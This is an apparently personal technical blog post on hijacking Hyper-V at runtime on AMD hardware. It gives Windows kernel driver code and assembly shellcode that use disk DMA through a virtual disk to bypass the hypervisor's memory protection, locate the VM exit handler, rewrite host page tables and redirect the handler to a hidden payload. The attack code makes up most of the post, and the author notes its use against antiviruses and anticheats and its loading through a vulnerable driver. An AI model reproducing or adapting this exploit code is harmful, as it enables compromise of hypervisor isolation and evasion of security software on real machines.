Runtime Hyper-V Hijacking

Attacking Hyper-V at runtime with disk DMA, page table manipulation, and shellcode

  ·   14 min read

Introduction #

Hijacking Hyper-V for memory introspection is no new concept. You’ve probably seen such projects a million times where a UEFI bootkit is used to intercept the Windows boot chain and hijack Hyper-V’s VM exit handler. If you have no idea what I’m talking about, you can read this article to get a basic understanding of how Hyper-V as a hypervisor works, and how it can be typically hijacked. The one thing universal across all these projects is the aforementioned boot-time component required to intercept the Windows boot chain. But what if we wanted to hijack at runtime to provide support for, let’s say, Secure Boot? What’s stopping us from just directly patching Hyper-V at runtime?

Shocker, something stops you from directly patching Hyper-V at runtime. Internally, Hyper-V uses Second Layer Address Translation (SLAT/EPT/NPT) to translate guest physical addresses to host physical addresses, allowing it to effectively control and protect memory. It can remap or deny access to specific pages (e.g., mapping them to a dummy page) to protect critical code or other sensitive data. The hypervisor executes in VMX root/SVM host mode with its own CR3 in physical memory inaccessible to the guest due to these mappings. This means we should just completely give up and solely rely on a bootkit as Hyper-V’s memory is completely protected at runtime, right?

Luckily for us, Hyper-V doesn’t virtualize guest access to devices (only when IOMMU is disabled, but more on this later). In a project by GitHub user btbd called DDMA, this vulnerability is utilized to read physical memory via a disk device, which has unfiltered access to the system’s physical memory through direct memory access (DMA). For this project I referenced a fork by another GitHub user by the name cutecatsandvirtualmachines as it provides support for SCSI disks (much more common in modern hardware) and can be found here.

flowchart TD
        A(["DDMA"])
        A --> D["Driver sends I/O R/W request to disk"]
        D --> E["Hyper-V passes request directly to disk hardware without virtualization or filtering"]
        E --> L["Memory is read to disk, and can be read back from disk to our own physical memory"]
        L --> F["Physical memory is accessed as usual ✅"]
        G(["Standard Windows Kernel"])
        G --> H["Map physical memory into virtual address space and attempt memory access"]
        H --> J["Hyper-V processes 
        GPA->HPA translation"]
        J --> I["Does PA land in protected memory?"]
        I -->|Yes| K[Return blank page ❌]
        I -->|No| F

I would also like to preface that this project was developed with AMD hardware, and was tested with Windows 11 version 24H2. Intel support is entirely possible to add, but I don’t have access to Intel hardware currently. Code snippets are also mostly simplified, and the complete original source can be found on the Diskjacker repo.

Plan of attack #

With a point of vulnerability, it was time to sketch out a plan of attack. My main concern was how I was going to obtain free physical memory, whilst still protected by Hyper-V (to prevent further introspection from kernel gadgets like antiviruses and anticheats), alongside mapping that physical memory into the host page tables. For finding the physical memory, I found that Hyper-V protects the entire physical memory range it reserves on boot, leading me to make the unwise, unsafe, but easy decision to simply scan for empty pages in this range until I find a large enough pocket to drop my payload. From there, the VM exit handler is located, and a shellcode is utilized in order to access and modify the page tables to map the physical memory. From there, another shellcode is used to redirect execution of the VM exit handler to the entrypoint of my payload!

It was a lot easier said than done.

Implementation #

For the DDMA attack, we create a VHD from our usermode loader, and find it in our manually mapped driver like so.

//Heavily simplified for readability
NTSTATUS status = STATUS_NOT_FOUND;

GetDeviceObjectList(diskObject, &devices, &deviceCount);

for (ULONG i = 0; i < deviceCount; ++i) {
    PDEVICE_OBJECT device = devices[i];
    if (
        status == STATUS_NOT_FOUND && 
        IsMicrosoftVirtualDisk(device, disk->Buffer) && 
        NT_SUCCESS(ScsiReadPage(device, disk->Buffer))
    ) {
        disk->Device = device;
        status = STATUS_SUCCESS;
        DbgPrintEx(0, 0, "Found SCSI device!\n");
        continue;
    }
}

From there, we temporarily use a LBA (in our case LBA 0, so the start of the disk) to perform our

Protected Memory <-> Disk <-> Controlled Memory chain.

You may ask why use a VHD? Well, in BTBD’s original source code, he uses any available drive on the system that meets the requirements, and runs with it. LBA 0 is used which happens to be at the very start of the disk’s storage, where the MBR and other important disk structures live, and if the system happens to fault while this LBA is overwritten, you can guess what happens. I learned this the hard way after testing it on my main machine, and spent 12 hours attempting a recovery (I was successful).

From there we can read and write memory like so

NTSTATUS DiskCopy(IN PDISK disk, IN PVOID dest, IN PVOID src) {
    NTSTATUS status = ScsiWritePage(disk->Device, src);
    if (NT_SUCCESS(status)) {
        // Write to dest by reading from disk
        status = ScsiReadPage(disk->Device, dest);

        // Restore original sectors
        ScsiWritePage(disk->Device, disk->Buffer);
    }

    return status;
}

With our DDMA set up, we can begin poking around Hyper-V. The first task is identifying the protected Hyper-V pages, and finding the VM exit handler inside of them. Coming from BTBDs project, we loop over all physical memory ranges and their pages, and determine if a page is protected by attempting a standard kernel read, and comparing it to our ddma read. If we see our standard kernel read return a blank page, while our DDMA read returns some sort of content, we know there is a form of SLAT protection on this page. From here we use a simple signature scan to identify the VM Exit handler.

//This code is heavily simplified for readability
NTSTATUS FindVMExitHandler(
    IN PDISK disk, 
    OUT PVOID *mappingOut, 
    OUT PVOID *bufferOut, 
    OUT UINT64 *exitHandlerAddressOut, 
    OUT PPHYSICAL_MEMORY_RANGE *hyperVRange
)
{
    PPHYSICAL_MEMORY_RANGE ranges = MmGetPhysicalMemoryRanges();
    PPHYSICAL_MEMORY_RANGE range = ranges;
    while (range->BaseAddress.QuadPart) {
        for (UINT64 i = 0; i < range->NumberOfBytes; i += PAGE_SIZE) {
            UINT64 pfn = (range->BaseAddress.QuadPart + i) >> PAGE_SHIFT;

            MM_COPY_ADDRESS src;
            src.PhysicalAddress.QuadPart = pfn << PAGE_SHIFT;

            SIZE_T outSize;
            //Check if page is empty via standard kernel memory read
            if (!NT_SUCCESS(MmCopyMemory(
                buffer, 
                src, 
                PAGE_SIZE, 
                MM_COPY_MEMORY_PHYSICAL, 
                &outSize))
            ) {
                continue;
            }

            if (!IsPageAllOnes(buffer)) {
                continue;
            }

            //Read with DDMA
            PVOID mapping = MmMapIoSpace(src.PhysicalAddress, PAGE_SIZE, MmNonCached);

            if (!NT_SUCCESS(DiskCopy(disk, buffer, mapping))) {
                MmUnmapIoSpace(mapping, PAGE_SIZE);
                continue;
            }
            if (ScanPattern(
                buffer, 
                //https://github.com/backengineering/Voyager/blob/master/Voyager/Voyager/Hv.h#L28
                AMD_VMEXIT_HANDLER_SIG,
                AMD_VMEXIT_HANDLER_MASK, 
                AMD_VMEXIT_HANDLER_SIZE, 
                &foundAddress
            )) {
                *mappingOut = mapping;
                *bufferOut = buffer;
                *exitHandlerAddressOut = (UINT64)foundAddress;
                *hyperVRange = range;
                break;
            }
        }
        ++range;
    }
    return STATUS_SUCCESS;
}

Once we have identified the location of the VM exit handler in physical memory, alongside the physical memory range Hyper-V occupies and protects, we then scan for continuous unused/empty pages that we can place our payload in.

FindContinuousEmptyPagesInRange(
    hyperVRange, 
    disk, 
    PayLoadPageCount(),
    &emptyContinuousPages, 
    &emptyContinuousPagesMapping, 
    &emptyContinuousPagesPhysicalAddress
);

Now that we have our protected unused physical pages, the challenge of inserting the physical pages backing our payload into the hosts page tables arises. Thankfully, Hyper-V is known to have a self referencing PML4 entry at index 510 in its virtual memory context. This means that at virtual address 0xFFFFFF7FBFDFE000, we can access the page tables the CR3 register points to, allowing us to insert our physical pages. If you’re curious about how this was discovered, check out this section of the article by the back engineering team.

However, this isn’t the end of our troubles. Yes we know that at said virtual address we can modify the host page tables, but how do we execute inside of this virtual address context? To do this, I used a basic shellcode and temporary redirection of the vmexit handler, as it is frequently called across all cores; a requirement as we need to flush the TLB across all cores to prevent a fault.

; Save registers
push rax
push rbx
; Load base of self ref PML4 
mov rbx, 0FFFFFF7FBFDFE000h

; Load physical address to map 
mov rax, 0CAFEBABEDEADBEEFh  ; (to be patched)

; Set flags: Present=1, Write=1, Supervisor=0
or rax, 3

; Write into PML4[100]
mov [rbx + 100d * 8], rax

; Flush cache
mov rbx, cr3
mov cr3, rbx
mov rbx, 0000327FFFE00000h   ; load the base of the image we just mapped
mov rax, [rbx]         ; attempt to read from base as a confirmation the tables worked

; Setup return for payload
call get_rip
get_rip:
pop rax                     ; rax now contains the address right after call instruction (so somewhere in the executing page)
and rax, 0FFFFFFFFFFFFF000h ; Align to 4KB page boundary 
add rax, 0BABECAFEh         ; Add the runtime patched offset to the original call instruction

add rbx, 0DEADBEEFh         ; offset for where the payload stores the original call instruction
mov [rbx], rax              ; Write the call address to the payload storage

; Restore registers
pop rbx
pop rax

The magic values are later replaced in the main driver code with runtime calculated values

From here a very standard manual map is performed (even simpler than a real one due to no imports), alongside the preparation of a custom PML4 to be loaded into index 100 via the shellcode (so it points to the physical pages backing the payload).

//Code is simplified for readability
NTSTATUS PreparePayload(
    unsigned char* imageBase, 
    PVOID* buffer, 
    UINT32 physicalPagesUsed, 
    PHYSICAL_ADDRESS allocationBase, 
    OUT PHYSICAL_ADDRESS* pdptPhysicalAddress, 
    OUT UINT32* originalHookOffset, 
    OUT UINT32* entryPoint
)
{
    // Read DOS & NT headers
    auto dosHeader = reinterpret_cast<IMAGE_DOS_HEADER*>(imageBase);
    auto ntHeader = reinterpret_cast<IMAGE_NT_HEADERS64*>(imageBase + dosHeader->e_lfanew);

    // Copy PE headers into buffer
    memcpy(*buffer, imageBase, ntHeader->OptionalHeader.SizeOfHeaders);

    // Locate section headers
    auto sections = reinterpret_cast<IMAGE_SECTION_HEADER*>(
        (UINT8*)&ntHeader->OptionalHeader + ntHeader->FileHeader.SizeOfOptionalHeader);

    PHYSICAL_ADDRESS pdBase{}, pdptBase{}, ptBase{};

    // Copy sections and set up page tables
    for (UINT32 i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i)
	{
		IMAGE_SECTION_HEADER* section = &sections[i];
		if (section->SizeOfRawData)
		{
			memcpy
			(
				(PUINT8)(*buffer) + section->VirtualAddress,
				ImageBase + section->PointerToRawData,
				section->SizeOfRawData
			);
		}
		if (memcmp(section->Name, ".3", 2) == 0)
		{
			PDPTE_64* pdpt = reinterpret_cast<PDPTE_64*>((PUINT8)(*buffer) + section->VirtualAddress);
			pdpt[511].Present = 1;
			pdpt[511].PageFrameNumber = pdPhysicalBase.QuadPart >> 12;
			pdpt[511].Supervisor = 0;
			pdpt[511].Write = 1;
			pdptPhysicalBase.QuadPart = section->VirtualAddress + allocationBase.QuadPart;
		}
		if (memcmp(section->Name, ".2", 2) == 0)
		{
			PDE_64* pd = reinterpret_cast<PDE_64*>((PUINT8)(*buffer) + section->VirtualAddress);
			pd[511].Present = 1;
			pd[511].PageFrameNumber = ptPhysicalBase.QuadPart >> 12;
			pd[511].Supervisor = 0;
			pd[511].Write = 1;
			pdPhysicalBase.QuadPart = section->VirtualAddress + allocationBase.QuadPart;
		}
		if (memcmp(section->Name, ".1", 2) == 0)
		{
			PTE_64* pt = reinterpret_cast<PTE_64*>((PUINT8)(*buffer) + section->VirtualAddress);
			for (UINT32 idx = 0; idx < physicalPagesUsed; idx++)
			{
				pt[idx].Present = 1;
				pt[idx].Supervisor = 0;
				pt[idx].Write = 1;

				UINT64 pagePhysicalAddress = allocationBase.QuadPart + idx * PAGE_SIZE;
				UINT64 pfn = pagePhysicalAddress >> 12;
				pt[idx].PageFrameNumber = pfn;
			}
			ptPhysicalBase.QuadPart = section->VirtualAddress + allocationBase.QuadPart;
		}

	}

    auto exportDir = reinterpret_cast<IMAGE_EXPORT_DIRECTORY*>(
        (PUINT8)(*buffer) + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    auto funcAddrs = (UINT32*)((PUINT8)(*buffer) + exportDir->AddressOfFunctions);
    auto nameAddrs = (UINT32*)((PUINT8)(*buffer) + exportDir->AddressOfNames);
    auto ordinals  = (UINT16*)((PUINT8)(*buffer) + exportDir->AddressOfNameOrdinals);

    for (UINT16 i = 0; i < exportDir->NumberOfNames; i++)
    {
        const char* name = (const char*)((PUINT8)(*buffer) + nameAddrs[i]);
        if (strcmp(name, "OriginalOffsetFromHook") == 0)
        {
            *originalHookOffset = funcAddrs[ordinals[i]];
            break;
        }
    }

    // Apply base relocations, removed for clarity

    *pdptPhysicalAddress = pdptBase;
    *entryPoint = ntHeader->OptionalHeader.AddressOfEntryPoint;
    return STATUS_SUCCESS;
}

Sections .1, .2, and .3, alongside “OriginalOffsetFromHook”, will be explained later

From here, it’s time for the main hijacking, where we emplace our shellcode in the nearest code cave after the exit handler, and redirect the current vmexit handler. We execute CPUID on all cores (causing a vmexit on all cores), and then use another much smaller shellcode to handle our payload hook, to finally pass execution to our complete payload.

NTSTATUS HijackVMExitHandler(
    PDISK disk, 
    UINT64 exitHandlerAddress, 
    PVOID pageBuffer, 
    PVOID pageMapping, 
    PHYSICAL_ADDRESS pdptPhysicalBase,
    UINT32 originalHookOffset, 
    UINT32 entryPoint
)
{
    PUINT8 handlerPtr = (PUINT8)exitHandlerAddress;
    PUINT8 bufferEnd  = (PUINT8)pageBuffer + PAGE_SIZE;
    PUINT8 nearestCC  = nullptr;

    //
    // 1. Find the first 0xCC (int3) after the VMEXIT handler.
    //    This acts as a "codecave" where we inject our loader shellcode.
    //
    for (PUINT8 p = handlerPtr + 1; p < bufferEnd; ++p) {
        if (*p == 0xCC) {
            nearestCC = p + 1; // +1 so we don't overwrite the 0xCC itself
            break;
        }
    }
    if (!nearestCC) return STATUS_UNSUCCESSFUL;

    //
    // 2. Get the original CALL instruction target inside the VMEXIT handler.
    //
    PUINT8 callInstr = handlerPtr;
    INT32 originalCallRel = *(INT32*)(callInstr + 1);
    PUINT8 afterCall = handlerPtr + 5; // Address after the original CALL
    PUINT8 originalCallTarget = callInstr + 5 + originalCallRel;

    // Calculate offset inside the page buffer
    UINT64 offsetFromBaseOfPage = (UINT64)afterCall - (UINT64)pageBuffer;

    //
    // 3. Patch our loader shellcode with runtime values:
    //    - PDPT physical address (0xCAFEBABEDEADBEEF placeholder)
    //    - Page offset (0xBABECAFE placeholder)
    //    - Original hook offset (0xDEADBEEF placeholder)
    //
    SIZE_T loaderSize = (SIZE_T)((UINT8*)ExecuteCPUID - (UINT8*)LoaderASM);
    UINT8* shellcode = (UINT8*)&LoaderASM;

    for (size_t j = 0; j < loaderSize - 8; j++) {
        UINT64* candidate = (UINT64*)(shellcode + j);
        if (*candidate == 0xCAFEBABEDEADBEEF) {
            *candidate = pdptPhysicalBase.QuadPart;
            break;
        }
    }
    for (size_t j = 0; j < loaderSize - 4; j++) {
        UINT32* candidate = (UINT32*)(shellcode + j);
        if (*candidate == 0xBABECAFE) {
            *candidate = (UINT32)offsetFromBaseOfPage;
        }
        if (*candidate == 0xDEADBEEF) {
            *candidate = originalHookOffset;
        }
    }

    //
    // 4. Write the loader shellcode into the codecave (nearestCC).
    //
    memcpy(nearestCC, shellcode, loaderSize);

    //
    // 5. Append at the end of our loader:
    //    - CALL original target
    //    - JMP back to the instruction after the original CALL
    //
    PUINT8 loaderEnd = nearestCC + loaderSize;
    loaderEnd[0] = 0xE8; // CALL rel32
    *(INT32*)(loaderEnd + 1) = (INT32)(originalCallTarget - (loaderEnd + 5));

    loaderEnd[5] = 0xE9; // JMP rel32
    *(INT32*)(loaderEnd + 6) = (INT32)((UINT64)afterCall - ((UINT64)loaderEnd + 10));

    DiskCopy(disk, pageMapping, pageBuffer);

    //
    // 6. Redirect the original CALL to jump to our loader shellcode.
    //
    UINT8 originalCallInstruction[5];
    memcpy(originalCallInstruction, callInstr, 5); // Save original
    callInstr[0] = 0xE9; // JMP rel32
    *(INT32*)(callInstr + 1) = (INT32)((UINT64)nearestCC - ((UINT64)callInstr + 5));
    DiskCopy(disk, pageMapping, pageBuffer);

    //
    // 7. Flush instruction cache across all CPUs using CPUID.
    //    This ensures every core sees the modified code.
    //
    ExecuteCPUIDEachProcessor();

    //
    // 8. Restore the original CALL so the handler runs normally
    //    until we do the final redirection.
    //
    memcpy(callInstr, originalCallInstruction, sizeof(originalCallInstruction));
    DiskCopy(disk, pageMapping, pageBuffer);

    //
    // 9. Overwrite the codecave with final jump logic:
    //    - MOV R10, payload entry point
    //    - CALL R10
    //    - JMP back to after original CALL
    //
    memset(nearestCC, 0xCC, loaderSize);
    nearestCC[0] = 0x49; // REX.W + MOV R10, imm64
    nearestCC[1] = 0xBA;
    *(UINT64*)(nearestCC + 2) = 0x0000327FFFE00000 + entryPoint;
    nearestCC[10] = 0x41; // CALL R10
    nearestCC[11] = 0xFF;
    nearestCC[12] = 0xD2;
    nearestCC[13] = 0xE9; // JMP back to afterCall
    *(INT32*)(nearestCC + 14) = (INT32)((UINT64)afterCall - ((UINT64)nearestCC + 18));

    DiskCopy(disk, pageMapping, pageBuffer);

    //
    // 10. Final redirection from VMEXIT handler to codecave.
    //
    callInstr[0] = 0xE9; 
    *(INT32*)(callInstr + 1) = (INT32)((UINT64)nearestCC - ((UINT64)callInstr + 5));
    DiskCopy(disk, pageMapping, pageBuffer);

    return STATUS_SUCCESS;
}

The payload is a standard Hyper-V hijacking payload, mostly taken from Samuel Tulach and his project Secure Hack. However, the one important thing done differently are the inclusion of sections .1, .2, and .3.

#pragma section(".1", read, write)
__declspec(allocate(".1")) PTE_64 ImagePt[512];
#pragma section(".2", read, write)
__declspec(allocate(".2")) PDE_64 Pd[512];
#pragma section(".3", read, write)
__declspec(allocate(".3")) PDPTE_64 Pdpt[512];

These sections hold the tables that allow for the self-mapping done by the shellcode (so index 100 in the cr3 points to section .3, .3 to .2, .1 to the physical pages of the entire payload).

This all leads us to a successful hijack!

Conclusion #

For brevity, I skipped numerous key components, which leads me to heavily encourage you to examine the (extremely messy) source code which can be found below. This was my first security/RE-related project I have published so don’t expect the cleanest code, but I had a blast making this project over the course of a month.

As for usage, IOMMU is required to be disabled (usually disabled by default on most OEMs) as Hyper-V uses it to protect itself at the hardware level, rendering all DMA attacks useless. As for anti-cheat viability, the same exploit used to put the payload there can be used to detect its presence, alongside bruteforcing the secret key, using NMIs, and numerous other methods. The kernel component is also manually mapped via a vulnerable driver, and does not comply with HVCI due to this. Also, traces of the driver ever being loaded are littered across your system. I have since then revised a private version which manually maps no driver, but instead runs entirely from usermode using a vulnerable driver directly.

I also want to express the need to have extreme caution when using DDMA, as when I was working on this project, my system crashed in the midst of restoring the original contents on disk at LBA 0, leading to the complete destruction of my MBR. I am thankful I was able to recover my data, but it required hours of painful reconstruction using my Linux installation I luckily had on a separate drive (I use arch btw). This is why I use a VHD, as there is no care for what happens to the drive. The VHD is automatically created by the loader, and deleted once finished.

Resources #